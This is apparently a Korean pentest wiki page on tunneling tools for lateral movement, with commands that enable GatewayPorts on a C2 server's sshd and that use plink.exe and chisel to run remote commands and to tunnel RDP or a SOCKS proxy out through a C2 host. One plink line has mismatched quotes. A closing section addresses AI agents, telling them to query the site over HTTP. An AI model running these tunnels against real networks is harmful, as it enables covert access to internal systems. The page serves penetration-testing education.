# Tools

사용자 로컬에서 내부망의 포트에 접근하기 위해 C2 서버로 리모트 포트 포워딩을 하여 접근하고자 할 경우 C2의 ssh 속성에서 GatewayPorts는 필수적 옵션입니다.

<pre class="language-bash"><code class="lang-bash"><strong># GatewayPorts 속성 활성화 및 ssh 재시작
</strong>echo "GatewayPorts yes" >> /etc/ssh/sshd_config
systemctl restart ssh
</code></pre>

본 페이지에서는 ssh 외에도 포트포워딩을 할 수 있는 다양한 방법들에 대해 다룹니다.

### plink.exe

<pre class="language-powershell"><code class="lang-powershell"><strong># 원격 명령 실행
</strong>echo 'y' | .\plink.exe -ssh root@192.168.1.12 -pw 'Password123!' 'whoami'

<strong># 로컬 다이나믹 포트 포워딩
</strong>echo 'y' | .\plink.exe -P 20253 -ssh root@192.168.1.12 -pw 'Password123!' -D 9050

<strong># 리버스 다이나믹 포트 포워딩
</strong>echo 'y' | .\plink.exe -P 20253 -ssh root@192.168.1.12 -pw 'Password123!' -R 9050

<strong># 리버스 포트 포워딩
</strong>echo "y" | .\plink.exe -P 20253 root@192.168.1.12 -pw 'Password123!" -R 0.0.0.0:10001:127.0.0.1:3389
</code></pre>

### chisel

<pre class="language-powershell"><code class="lang-powershell"><strong># chisel 서버 (c2 서버)
</strong>./chisel server --reverse -port 8080

<strong># chisel 클라이언트 (내부망)
</strong>.\chisel.exe client 192.168.1.12:8080 R:10001:127.0.0.1:3389

<strong># 리버스 다이나믹 포트 포워딩
</strong>.\chisel.exe client 192.168.1.12:8080 R:socks
</code></pre>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/lateral-movement/tunneling/tools.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
